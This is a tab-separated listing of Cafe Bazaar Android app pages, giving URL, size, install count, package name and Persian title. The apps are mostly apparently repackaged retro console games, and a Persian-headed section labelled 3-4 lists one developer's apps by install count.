https://cafebazaar.ir/app/com.appjet.nightmarec	71.5	50	com.appjet.nightmarec	کابوس
https://cafebazaar.ir/app/com.appjet.golftr	29.5	50	com.appjet.golftr	گلف
https://cafebazaar.ir/app/com.appjet.marvscaprr	29	50	com.appjet.marvscaprr	نبرد تن به تن
https://cafebazaar.ir/app/com.appjet.spyro	108.8	50	com.appjet.spyro	سرزمین اژدها
https://cafebazaar.ir/app/com.appjet.evildeadad	32.4	50	com.appjet.evildeadad	مردگان متحرک
https://cafebazaar.ir/app/com.gba.emblemsa	12.9	50	com.gba.emblemsa	افسانه قلعه اژدها
https://cafebazaar.ir/app/com.gba.bretha	5.7	50	com.gba.bretha	نبرد با اهریمن‌ها
https://cafebazaar.ir/app/com.gba.dukenume	8.3	50	com.gba.dukenume	زمان کشتار
https://cafebazaar.ir/app/com.gba.kombata	9	50	com.gba.kombata	مورتال کمبات (متفاوت)
https://cafebazaar.ir/app/com.gba.gungester	8.4	50	com.gba.gungester	ایر قهرمان
https://cafebazaar.ir/app/com.gba.donkey	14.8	50	com.gba.donkey	سرزمین میمون‌ها
https://cafebazaar.ir/app/com.gba.possible	7.1	50	com.gba.possible	خانم کیم
https://cafebazaar.ir/app/com.gba.stafy	10.2	50	com.gba.stafy	ستاره کوچولو
https://cafebazaar.ir/app/com.gba.bombberman	8.2	50	com.gba.bombberman	بمب‌من
https://cafebazaar.ir/app/zombi.game.appjet	43	50	zombi.game.appjet	زامبی‌ها می‌آیند (فارسی)
https://cafebazaar.ir/app/com.gba.alien	5.8	50	com.gba.alien	حمله بیگانه‌ها
https://cafebazaar.ir/app/com.roadrashf.ps1	44.5	50	com.roadrashf.ps1	موتور زنجیری
https://cafebazaar.ir/app/com.mikeya.ps1	19.1	50	com.mikeya.ps1	ماموریت میکی موز
https://cafebazaar.ir/app/com.galericna.ps1	66.1	50	com.galericna.ps1	نابودگر
https://cafebazaar.ir/app/com.lilostichn.ps1	28	50	com.lilostichn.ps1	لیلو و استیج
https://cafebazaar.ir/app/com.metlgeara.ps1	45.8	50	com.metlgeara.ps1	متال گیر

https://cafebazaar.ir/app/zombies.appjet.game	116.7	50	zombies.appjet.game	گروه ویژه در برابر زامبیها (فارسی)
https://cafebazaar.ir/app/com.pepsimanf.ps1	19.6	50	com.pepsimanf.ps1	پپسی من
https://cafebazaar.ir/app/com.jinxg.ps1	22.9	50	com.jinxg.ps1	بیگانه
https://cafebazaar.ir/app/com.truksf.ps1	24.2	50	com.truksf.ps1	رالی صحرایی
https://cafebazaar.ir/app/com.gba.mario	8.8	50	com.gba.mario	مزرعه دار
https://cafebazaar.ir/app/com.game.kamrrf	19.7	50	com.game.kamrrf	ابر مبارزان
https://cafebazaar.ir/app/com.game.forcetwog	27.6	50	com.game.forcetwog	شورش در شهر
https://cafebazaar.ir/app/com.game.crocd	39.8	50	com.game.crocd	ماجراهای تماش
https://cafebazaar.ir/app/com.game.dunea	16.8	50	com.game.dunea	نبرد صحرایی
https://cafebazaar.ir/app/com.game.hercoulb	30.8	50	com.game.hercoulb	هرکول
https://cafebazaar.ir/app/com.game.coldblooda	106.8	50	com.game.coldblooda	خون سرد
https://cafebazaar.ir/app/com.game.turismoaa	109	50	com.game.turismoaa	ماشین مسابقه ای
https://cafebazaar.ir/app/com.game.aircombata	16.9	50	com.game.aircombata	جت جنگی
https://cafebazaar.ir/app/com.game.colinrallya	49.6	50	com.game.colinrallya	رالی کالین
https://cafebazaar.ir/app/com.game.nukema	21.5	50	com.game.nukema	زمان کشتار
https://cafebazaar.ir/app/com.game.castrola	39	50	com.game.castrola	هندا ریسینگ
https://cafebazaar.ir/app/com.game.tarzana	25.9	50	com.game.tarzana	تارزان
https://cafebazaar.ir/app/com.game.aquaa	18.2	50	com.game.aquaa	جت اسکی
https://cafebazaar.ir/app/com.game.castlevaniaa	22.6	50	com.game.castlevaniaa	قلعه شیطان
https://cafebazaar.ir/app/com.game.martian	91	50	com.game.martian	نبرد در مریخ
https://cafebazaar.ir/app/com.game.looney	37.3	50	com.game.looney	رالی لونی
https://cafebazaar.ir/app/com.game.codename	27.1	50	com.game.codename	شهر آتش
https://cafebazaar.ir/app/com.game.ctspecial	13.3	50	com.game.ctspecial	نیروی ویژه
https://cafebazaar.ir/app/com.game.bushido	36.5	50	com.game.bushido	نبرد سامورایی ها

https://cafebazaar.ir/app/com.game.circuit	16.8	50	com.game.circuit	رالی فانتری
https://cafebazaar.ir/app/com.game.alaedin	30.2	50	com.game.alaedin	علائدین
https://cafebazaar.ir/app/com.game.agile	15	50	com.game.agile	جنگنده
https://cafebazaar.ir/app/com.game.dinotwo	99.5	50	com.game.dinotwo	داینو کرایسس دو
https://cafebazaar.ir/app/com.game.casper	22.2	50	com.game.casper	کاسپر
https://cafebazaar.ir/app/com.game.worldtrophy	67.4	50	com.game.worldtrophy	مسابقات حرفه ای
https://cafebazaar.ir/app/com.game.alien	82.2	50	com.game.alien	حمله بیگانگان
https://cafebazaar.ir/app/com.game.command	16.3	50	com.game.command	رد آلت
https://cafebazaar.ir/app/com.game.actinman	31.1	50	com.game.actinman	مرد جنگ
https://cafebazaar.ir/app/com.game.winks	28	50	com.game.winks	کابوس شبانه
https://cafebazaar.ir/app/com.game.chaos	16.7	50	com.game.chaos	شکست بیگانگان
https://cafebazaar.ir/app/com.game.armymen	22.4	50	com.game.armymen	ارتش سبز
https://cafebazaar.ir/app/com.game.blasto	56.1	50	com.game.blasto	ابر قهرمان
https://cafebazaar.ir/app/com.game.abalaburn	30.2	50	com.game.abalaburn	نبرد تن به تن
https://cafebazaar.ir/app/com.game.burninroad	13.7	50	com.game.burninroad	رالی ماشین
https://cafebazaar.ir/app/com.game.battletank	29.3	50	com.game.battletank	تانک پیشرفته
https://cafebazaar.ir/app/com.game.raceer	22.4	50	com.game.raceer	مسابقات رالی
https://cafebazaar.ir/app/com.game.apocalypse	20	50	com.game.apocalypse	آخرین مبارز
https://cafebazaar.ir/app/com.game.tomorrow	42.9	50	com.game.tomorrow	جیمزباند (۰۰۷)
https://cafebazaar.ir/app/com.game.racinga	29.5	50	com.game.racinga	جیمزباند دو
https://cafebazaar.ir/app/appjet.mofighty.segas	3.6	50	appjet.mofighty.segas	بازی اکشن مبارزین
https://cafebazaar.ir/app/appjet.mickymousee.segas	2.9	50	appjet.mickymousee.segas	بازی ماجرای میکی موز ۲
https://cafebazaar.ir/app/appjet.tecmp.segas	2.9	50	appjet.tecmp.segas	بازی فوتبالیست‌ها
https://cafebazaar.ir/app/appjet.tazmania.segas	3.7	50	appjet.tazmania.segas	بازی اکشن گرگ آتشین
https://cafebazaar.ir/app/appjet.disny.segas	3.4	50	appjet.disny.segas	بازی ماجرای میکی موز

https://cafebazaar.ir/app/appjet.fifagame.segas	3.7	50	appjet.fifagame.segas	بازی فوتبال حرفه ای
https://cafebazaar.ir/app/appjet.eccos.segas	3.1	50	appjet.eccos.segas	بازی ماجرای دلفین ماجراجو
https://cafebazaar.ir/app/appjet.earthworms.segas	4.3	50	appjet.earthworms.segas	بازی اکشن مبارز شکست ناپذیر ۲
https://cafebazaar.ir/app/appjet.earthworm.segas	4.5	50	appjet.earthworm.segas	بازی اکشن مبارز شکست ناپذیر
https://cafebazaar.ir/app/appjet.eswaat.segas	3	50	appjet.eswaat.segas	بازی اکشن گروه ضربت
https://cafebazaar.ir/app/appjet.dunedoom.segas	3.2	50	appjet.dunedoom.segas	بازی استراتژیک جنگ تمدن ها
https://cafebazaar.ir/app/appjet.boogerman.segas	4.1	50	appjet.boogerman.segas	بازی اکشن مبارز سبز
https://cafebazaar.ir/app/appjet.afterburn.segas	2.9	50	appjet.afterburn.segas	بازی هوایمایی نبرد نهایی
https://cafebazaar.ir/app/appjet.tomjerry.segas	3.1	50	appjet.tomjerry.segas	بازی تام و جری
https://cafebazaar.ir/app/appjet.volly.segas	2.7	50	appjet.volly.segas	بازی والیبال
https://cafebazaar.ir/app/appjet.mortall3.segas	5.8	50	appjet.mortall3.segas	بازی اکشن مورتال کمبات ۳
https://cafebazaar.ir/app/appjet.mario.segas	2.9	50	appjet.mario.segas	بازی قارچ خور (متفاوت)
https://cafebazaar.ir/app/appjet.sunset.segas	3	50	appjet.sunset.segas	بازی اکشن لوکی لوک
https://cafebazaar.ir/app/appjet.street3.segas	4.3	50	appjet.street3.segas	بازی شورش در شهر ۳
https://cafebazaar.ir/app/appjet.mortall2.segas	4.9	50	appjet.mortall2.segas	بازی اکشن مورتال کمبات ۲
https://cafebazaar.ir/app/appjet.pink.segas	3.2	50	appjet.pink.segas	بازی پلنگ صورتی
https://cafebazaar.ir/app/appjet.golden.segas	2.9	50	appjet.golden.segas	بازی اکشن تبرزن ها
https://cafebazaar.ir/app/appjet.volly.sega	3.7	50	appjet.volly.sega	والیبال
https://cafebazaar.ir/app/appjet.shinobg.sega	4.3	50	appjet.shinobg.sega	نینجا شینوبی ۲
https://cafebazaar.ir/app/appjet.sunsridd.sega	4	50	appjet.sunsridd.sega	لوک خوش شانس
https://cafebazaar.ir/app/appjet.spider.sega	4.7	50	appjet.spider.sega	اسپایدرمن
https://cafebazaar.ir/app/appjet.fortun.sega	4.4	50	appjet.fortun.sega	سربازان فورتون

https://cafebazaar.ir/app/appjet.megaman.sega	4.7	50	appjet.megaman.sega	مگامن
https://cafebazaar.ir/app/appjet.rolling.sega	4.4	50	appjet.rolling.sega	تندر ۳
https://cafebazaar.ir/app/appjet.robocoop.sega	4.7	50	appjet.robocoop.sega	پلیس آهنی
https://cafebazaar.ir/app/appjet.wolwrin.sega	4.9	50	appjet.wolwrin.sega	مرد گرگ نما
https://cafebazaar.ir/app/appjet.tintiin.sega	4.5	50	appjet.tintiin.sega	تن تن
https://cafebazaar.ir/app/appjet.wwfinju.sega	6.9	50	appjet.wwfinju.sega	کشتی کج
https://cafebazaar.ir/app/appjet.jungle.sega	4.9	50	appjet.jungle.sega	کتاب جنگل
https://cafebazaar.ir/app/appjet.puni.sega	4.7	50	appjet.puni.sega	پانیشر
https://cafebazaar.ir/app/appjet.xmen.sega	4.8	50	appjet.xmen.sega	ایکس من
https://cafebazaar.ir/app/appjet.tiinuyionn.sega	4.2	50	appjet.tiinuyionn.sega	المپیک ستاره‌ها
https://cafebazaar.ir/app/appjet.tomjryu.sega	4.1	50	appjet.tomjryu.sega	موش و گربه
https://cafebazaar.ir/app/appjet.twinkiuy.sega	3.8	50	appjet.twinkiuy.sega	نبرد هوایی
https://cafebazaar.ir/app/appjet.speedy.sega	4.8	50	appjet.speedy.sega	موش زبل
https://cafebazaar.ir/app/appjet.streeg.sega	4	50	appjet.streeg.sega	شورش در شهر ۱
https://cafebazaar.ir/app/appjet.streegf.sega	6.4	50	appjet.streegf.sega	نبرد های خیابانی ۲
https://cafebazaar.ir/app/appjet.mjesytr.sega	4.6	50	appjet.mjesytr.sega	هیولاها
https://cafebazaar.ir/app/appjet.golkenh.sega	4	50	appjet.golkenh.sega	تبرزن ۲
https://cafebazaar.ir/app/appjet.trlopir.sega	5.7	50	appjet.trlopir.sega	بیس بال حرفه ای
https://cafebazaar.ir/app/appjet.wlordd.sega	5.6	50	appjet.wlordd.sega	نبرد های تن به تن
https://cafebazaar.ir/app/appjet.flinest.sega	4	50	appjet.flinest.sega	غارنشین
https://cafebazaar.ir/app/appjet.tecup.sega	4	50	appjet.tecup.sega	فوتبالیست‌ها
https://cafebazaar.ir/app/appjet.zombiees.sega	4.2	50	appjet.zombiees.sega	نبرد با زامبی‌ها
https://cafebazaar.ir/app/appjet.fififad.sega	4.8	50	appjet.fififad.sega	فیفا ۹۵
https://cafebazaar.ir/app/appjet.baseballs.sega	4.6	50	appjet.baseballs.sega	بیس بال
https://cafebazaar.ir/app/appjet.rinbo.sega	3.8	50	appjet.rinbo.sega	رامبو ۳

https://cafebazaar.ir/app/appjet.pinoloi.sega	5.1	50	appjet.pinoloi.sega	پینوکیو
https://cafebazaar.ir/app/appjet.ppboy.sega	4.1	50	appjet.ppboy.sega	روزنامه فروش
https://cafebazaar.ir/app/appjet.pocahan.sega	5.3	50	appjet.pocahan.sega	پوکاهانتز
https://cafebazaar.ir/app/appjet.nhokky.sega	4.2	50	appjet.nhokky.sega	هاکی روی یخ
https://cafebazaar.ir/app/appjet.mortalld.sega	5.9	50	appjet.mortalld.sega	مورتال کمبات ۲
https://cafebazaar.ir/app/appjet.cavbers.sega	4.2	50	appjet.cavbers.sega	مک و جویی
https://cafebazaar.ir/app/appjet.backflas.sega	4.6	50	appjet.backflas.sega	انتقام جو
https://cafebazaar.ir/app/appjet.ranhebrt.sega	4.6	50	appjet.ranhebrt.sega	رنجرها
https://cafebazaar.ir/app/appjet.mikiuy.sega	3.9	50	appjet.mikiuy.sega	میکی موز
https://cafebazaar.ir/app/appjet.earthwo.sega	5.4	50	appjet.earthwo.sega	کرم خاکی ۲
https://cafebazaar.ir/app/appjet.vigifk.sega	4.3	50	appjet.vigifk.sega	وایکینگ‌ها
https://cafebazaar.ir/app/appjet.persi.sega	4	50	appjet.persi.sega	شاهزاده ایرانی
https://cafebazaar.ir/app/appjet.olmpicwe.sega	4.4	50	appjet.olmpicwe.sega	المپیک زمستانی
https://cafebazaar.ir/app/appjet.olmpics.sega	4.3	50	appjet.olmpics.sega	المپیک تابستانی
https://cafebazaar.ir/app/appjet.nbajaam.sega	4.7	50	appjet.nbajaam.sega	بسکتبال
https://cafebazaar.ir/app/appjet.chatooka.sega	5.4	50	appjet.chatooka.sega	سونیک بنفش
https://cafebazaar.ir/app/appjet.superinks.sega	4.8	50	appjet.superinks.sega	فوتبال گزارشگر
https://cafebazaar.ir/app/appjet.tazman.sega	4.7	50	appjet.tazman.sega	تازمانیا
https://cafebazaar.ir/app/appjet.burclee.sega	5	50	appjet.burclee.sega	نبرد بروسلی
https://cafebazaar.ir/app/appjet.boogermane.sega	5.2	50	appjet.boogermane.sega	قهرمان سبز
https://cafebazaar.ir/app/appjet.batmann.sega	4.2	50	appjet.batmann.sega	بازی باتمن ۱
https://cafebazaar.ir/app/appjet.panypum.sega	4.9	50	appjet.panypum.sega	سنجاب فوق العاده
https://cafebazaar.ir/app/appjet.dinabro.sega	5.1	50	appjet.dinabro.sega	پرورش دایناسور
https://cafebazaar.ir/app/appjet.batteloir.sega	4.3	50	appjet.batteloir.sega	میدان نبرد
https://cafebazaar.ir/app/appjet.batelloia.sega	4.1	50	appjet.batelloia.sega	قورباغه‌های مبارز

https://cafebazaar.ir/app/appjet.afburn.sega	3.9	50	appjet.afburn.sega	جت جنگنده
https://cafebazaar.ir/app/appjet.aeronlo.sega	4.8	50	appjet.aeronlo.sega	خفاش مبارز
https://cafebazaar.ir/app/appjet.scofifo.sega	3.9	50	appjet.scofifo.sega	فوتبال کارتونی
https://cafebazaar.ir/app/appjet.parkkk.sega	4.4	50	appjet.parkkk.sega	مدیریت پارک
https://cafebazaar.ir/app/appjet.kamizers.sega	4.8	50	appjet.kamizers.sega	سنباج مبارز
https://cafebazaar.ir/app/appjet.wnsong.sega	4	50	appjet.wnsong.sega	جنگ قهرمانان
https://cafebazaar.ir/app/appjet.womks.sega	4.5	50	appjet.womks.sega	نبرد کرم‌ها
https://cafebazaar.ir/app/appjet.todogy.sega	4.2	50	appjet.todogy.sega	دوبرادر
https://cafebazaar.ir/app/appjet.lionk.sega	5.2	50	appjet.lionk.sega	شیرشاه ۲
https://cafebazaar.ir/app/appjet.dumcika.sega	4.2	50	appjet.dumcika.sega	آدم مکانیکی
https://cafebazaar.ir/app/appjet.shahzadej.sega	5.4	50	appjet.shahzadej.sega	بازی شاهزاده
https://cafebazaar.ir/app/appjet.snictw.sega	4.4	50	appjet.snictw.sega	سونیک دو
https://cafebazaar.ir/app/appjet.rangeer.sega	4.2	50	appjet.rangeer.sega	ربات مبارز
https://cafebazaar.ir/app/appjet.shodwin.sega	5.4	50	appjet.shodwin.sega	نبرد سامورایی‌ها
https://cafebazaar.ir/app/appjet.roadd.sega	4.9	50	appjet.roadd.sega	بازی موتورسواری
https://cafebazaar.ir/app/appjet.slammm.sega	6	50	appjet.slammm.sega	کشتی کج
https://cafebazaar.ir/app/appjet.snoicn.sega	4.9	50	appjet.snoicn.sega	سونیک سه
https://cafebazaar.ir/app/appjet.sonicbl.sega	6.2	50	appjet.sonicbl.sega	سونیک بلاست
https://cafebazaar.ir/app/appjet.shadok.sega	4	50	appjet.shadok.sega	نینجا شینوبی
https://cafebazaar.ir/app/appjet.morta3.sega	6.8	50	appjet.morta3.sega	مورتال کمبات ۳
https://cafebazaar.ir/app/appjet.hadaff.sega	5.2	50	appjet.hadaff.sega	بازی هدف
https://cafebazaar.ir/app/appjet.seasp.sega	4.3	50	appjet.seasp.sega	بازی دزد دریایی
https://cafebazaar.ir/app/appjet.generalg.sega	4.1	50	appjet.generalg.sega	نبرد جنرال‌ها
https://cafebazaar.ir/app/appjet.riisk.sega	4	50	appjet.riisk.sega	میدان نبرد
https://cafebazaar.ir/app/appjet.jim.sega	5.5	50	appjet.jim.sega	بازی کرم‌خاکی
https://cafebazaar.ir/app/appjet.ddonald.sega	4	50	appjet.ddonald.sega	دونالد اردک‌ه

https://cafebazaar.ir/app/appjet.hulk.sega	4.6	50	appjet.hulk.sega	بازی هالک
https://cafebazaar.ir/app/appjet.jurarasic.sega	4.6	50	appjet.jurarasic.sega	پارک ژوراستیک ۲
https://cafebazaar.ir/app/appjet.dissny.sega	4.4	50	appjet.dissny.sega	بازی دیزنی لند
https://cafebazaar.ir/app/appjet.centeri.sega	8.5	50	appjet.centeri.sega	سربازان مبارز
https://cafebazaar.ir/app/appjet.dragon.sega	5.1	50	appjet.dragon.sega	نبرد های تن به تن
https://cafebazaar.ir/app/appjet.dodge.sega	4	50	appjet.dodge.sega	بازی هندبال
https://cafebazaar.ir/app/appjet.eswat.sega	4	50	appjet.eswat.sega	بازی گروه ضربت
https://cafebazaar.ir/app/appjet.ecco.sega	4.1	50	appjet.ecco.sega	بازی دلفین کوچولو
https://cafebazaar.ir/app/appjet.comiser.sega	8.4	50	appjet.comiser.sega	کارگاه دیک
https://cafebazaar.ir/app/appjet.fiif.sega	9.8	50	appjet.fiif.sega	فیفا ۹۷ سگا
https://cafebazaar.ir/app/appjet.championship.sega	9	50	appjet.championship.sega	بیلیارد سگا
https://cafebazaar.ir/app/appjet.chases.sega	9.2	50	appjet.chases.sega	ماشین پلیس سگا
https://cafebazaar.ir/app/appjet.daffy.sega	9.8	50	appjet.daffy.sega	بازی دافی اردکه
https://cafebazaar.ir/app/appjet.comix.sega	10.4	50	appjet.comix.sega	بازی کمیک سگا
https://cafebazaar.ir/app/appjet.cars.sega	9.4	50	appjet.cars.sega	مسابقات ماشین سواری سگا
https://cafebazaar.ir/app/appjet.contra.sega	10.3	50	appjet.contra.sega	بازی کنترا سگا
https://cafebazaar.ir/app/appjet.dstriker.sega	9.4	50	appjet.dstriker.sega	بازی هلیکوپتر جنگی
https://cafebazaar.ir/app/appjet.desertt.sega	9.5	50	appjet.desertt.sega	بازی میگ میگ
https://cafebazaar.ir/app/appjet.emolition.sega	9.6	50	appjet.emolition.sega	بازی جان سخت
https://cafebazaar.ir/app/appjet.tennis.sega	9.4	50	appjet.tennis.sega	بازی تنیس سگا
https://cafebazaar.ir/app/appjet.jidai.sega	9.9	50	appjet.jidai.sega	بازی دریانورد کوچک
https://cafebazaar.ir/app/appjet.count.sega	9.3	50	appjet.count.sega	بازی هدف سگا
https://cafebazaar.ir/app/appjet.monesters1.sega	9.6	50	appjet.monesters1.sega	نبرد هیولاها سگا
https://cafebazaar.ir/app/appjet.aleste.sega	9.4	50	appjet.aleste.sega	سفینه جنگنده سگا
https://cafebazaar.ir/app/appjet.alien.sega	10	50	appjet.alien.sega	سرباز بیگانه سگا

https://cafebazaar.ir/app/appjet.gladiators.sega	9.3	50	appjet.gladiators.sega	المپیک گلادیاتور ها سگا
https://cafebazaar.ir/app/appjet.fighting.sega	9.8	50	appjet.fighting.sega	مبارزات تن به تن سگا
https://cafebazaar.ir/app/appjet.asteri.sega	9.9	50	appjet.asteri.sega	آستریکس سگا
https://cafebazaar.ir/app/appjet.streett.sega	10.5	50	appjet.streett.sega	شورش در شهر ۳ سگا
https://cafebazaar.ir/app/appjet.streetto.sega	9.1	50	appjet.streetto.sega	شورش در شهر ۲ سگا
https://cafebazaar.ir/app/appjet.ballz.sega	9.9	50	appjet.ballz.sega	نبرد ادمک ها سگا
https://cafebazaar.ir/app/appjet.shirsha.sega	9.5	50	appjet.shirsha.sega	شیرشاه سگا
https://cafebazaar.ir/app/appjet.garou.sega1	9.6	50	appjet.garou.sega1	نبردهای تن به تن سگا
https://cafebazaar.ir/app/appjet.robot.sega	9	50	appjet.robot.sega	نبرد روبات ها سگا
https://cafebazaar.ir/app/appjet.golden.sega	9.2	50	appjet.golden.sega	تبرزن طلایی ۲ سگا

۳-۴ مشخصات برنامه‌های توسعه‌دهنده ****

نام	نام پکیج	تعداد نصب	حجم (مگابایت)	لینک کافه‌بازار
بازی ماشین لامبورگینی	com.lamborgini.star	5000	11.5	https://cafebazaar.ir/app/com.lamborgini.star
بازی لاکپشتهای نینجا	com.ninjastarboy.star	5000	10.4	https://cafebazaar.ir/app/com.ninjastarboy.star
تیکن ۴ حرفه ای	com.tekkenf.star	2000	12.5	https://cafebazaar.ir/app/com.tekkenf.star
بازی حرفه ای موش و گربه	com.tomboy.star	2000	11.9	https://cafebazaar.ir/app/com.tomboy.star
لاکپشتهای نینجا ۲	com.ninja2.srar	2000	10.4	https://cafebazaar.ir/app/com.ninja2.srar
ماشین مسابقه ای حرفه ای	ir.psm.sdtco	2000	66.4	https://cafebazaar.ir/app/ir.psm.sdtco
موتور سواری خشمگین	com.roadrash.star	1000	23.9	https://cafebazaar.ir/app/com.roadrash.star
بازی لاکپشتهای نینجا ۳	com.ninja3.star	1000	29.4	https://cafebazaar.ir/app/com.ninja3.star
بازی تفنگی کال آف دیوتی	com.callofd.star	1000	57.3	https://cafebazaar.ir/app/com.callofd.star
بازی بن ۱۰	com.be10.star	1000	36.6	https://cafebazaar.ir/app/com.be10.star
بازی حرفه ای مرد عنکبوتی	com.spider.star	1000	4.9	https://cafebazaar.ir/app/com.spider.star

https://cafebazaar.ir/app/com.ninja.star	5.2	1000	com.ninja.star	بازی حرفه ای لاکپشتهای نینجا
https://cafebazaar.ir/app/com.spiderboy.star	11	1000	com.spiderboy.star	اسپایدر من (مردعنکبوتی)
https://cafebazaar.ir/app/com.t3.star	41.7	1000	com.t3.star	بازی حرفه ای تیکن ۳
https://cafebazaar.ir/app/com.codetaghlobstar.sdtco	2.5	1000	com.codetaghlobstar.sdtco	جی تی ای-کال آف-کلش - خدای جنگ و...
https://cafebazaar.ir/app/com.tzan.star	18.3	500	com.tzan.star	تارزان ماجراجو
https://cafebazaar.ir/app/com.spsp.star	10.8	500	com.spsp.star	بازی مردعنکبوتی (اسپایدرمن)
https://cafebazaar.ir/app/com.metal.star	8	500	com.metal.star	سرباز کوچولو(اکشن)
https://cafebazaar.ir/app/com.teeken3.behrooz	42.1	500	com.teeken3.behrooz	بازی جنگجویان ۳
https://cafebazaar.ir/app/com.star.migmig	4.5	500	com.star.migmig	بازی میگ میگ
https://cafebazaar.ir/app/com.sm.star	10.7	200	com.sm.star	قارچ خور سه بعدی
https://cafebazaar.ir/app/com.speedfor.star	43.2	200	com.speedfor.star	بازی فرار از دست پلیس
https://cafebazaar.ir/app/com.bslt.star	9.2	200	com.bslt.star	خشم ازدها (بروسلی)
https://cafebazaar.ir/app/com.sp2.star	9.6	200	com.sp2.star	بازی مرد عنکبوتی ۲
https://cafebazaar.ir/app/com.pinkpanther.star	6.5	200	com.pinkpanther.star	بازی پلنگ صورتی
https://cafebazaar.ir/app/com.dark.star	14	200	com.dark.star	بازی عصر تاریکی (تیکن شمشیری)
https://cafebazaar.ir/app/com.megaman.srar	31.1	200	com.megaman.srar	بازی حرفه ای مگامن HD
https://cafebazaar.ir/app/com.battle.setare	4.4	200	com.battle.setare	بازی حرفه ای جنگ تانک ها
https://cafebazaar.ir/app/ir.daynasoor.sega	5.8	200	ir.daynasoor.sega	بازی جنگل دایناسورها
https://cafebazaar.ir/app/com.daynasor.star	114.8	200	com.daynasor.star	بازی حرفه ای تیکن دایناسورها
https://cafebazaar.ir/app/ir.segagame.mario	4.1	200	ir.segagame.mario	بازی حرفه ای پلنگ صورتی
https://cafebazaar.ir/app/com.lakposht.star	4.3	200	com.lakposht.star	نینجا های قهرمان
https://cafebazaar.ir/app/com.mivekhor.setare	3.5	200	com.mivekhor.setare	بازی میوه خور

https://cafebazaar.ir/app/com.airc.star	10.9	100	com.airc.star	ارتش مردان-جنگ هوایی
https://cafebazaar.ir/app/com.lionking.star	11.3	100	com.lionking.star	بازی شیرشاه
https://cafebazaar.ir/app/com.pop.star	9.9	100	com.pop.star	بازی شاهزاده ایرانی
https://cafebazaar.ir/app/com.crashboy.star	13.5	100	com.crashboy.star	بازی کراش باندیکوت
https://cafebazaar.ir/app/com.mariom.srar	14.3	100	com.mariom.srar	بازی حرفه ای مسابقه ماریو
https://cafebazaar.ir/app/ir.driverstation.star	74.4	100	ir.driverstation.star	بازی حرفه ای درایور ۲
https://cafebazaar.ir/app/com.mariosega.star	5.5	100	com.mariosega.star	بازی حرفه ای قارچ خور
https://cafebazaar.ir/app/com.sonic2star.star	5.7	100	com.sonic2star.star	بازی سونیک
https://cafebazaar.ir/app/ir.e98.star	23.2	100	ir.e98.star	فوتبال حرفه ای ۹۸
https://cafebazaar.ir/app/com.dokhtarbahoosh.star	13	50	com.dokhtarbahoosh.star	بازی دخترک باهوش
https://cafebazaar.ir/app/com.bat.star	9.7	50	com.bat.star	بازی بتمن
https://cafebazaar.ir/app/com.kharghoosh.sega	4	50	com.kharghoosh.sega	بازی حرفه ای خرگوش‌ها
https://cafebazaar.ir/app/com.ejdahaball.star	11.3	50	com.ejdahaball.star	بازی مبارزه با اژدها
https://cafebazaar.ir/app/com.pes2008.star	63.5	50	com.pes2008.star	بازی فوتبال حرفه ای ۲۰۰۸
https://cafebazaar.ir/app/com.atst.star	9.3	50	com.atst.star	آتلانٹیس - امپراطوری گمشده
https://cafebazaar.ir/app/com.sonicboy.star	7.1	50	com.sonicboy.star	بازی سونیک ۲
https://cafebazaar.ir/app/com.kf98.star	5.3	50	com.kf98.star	بازی حرفه ای پادشاه مبارزان
https://cafebazaar.ir/app/com.crash.star	111.5	50	com.crash.star	بازی کراش پیاده
https://cafebazaar.ir/app/com.rambo.star	4.7	50	com.rambo.star	بازی رامبو سگا
https://cafebazaar.ir/app/com.star.slug	83.3	50	com.star.slug	بازی حرفه ای سرباز کوچولو
https://cafebazaar.ir/app/com.evillmario.star	93.4	50	com.evillmario.star	بازی حرفه ای رزیدنت اوایل
https://cafebazaar.ir/app/com.segamehe.sdtco	4	50	com.segamehe.sdtco	بازی ترمیناتور ۲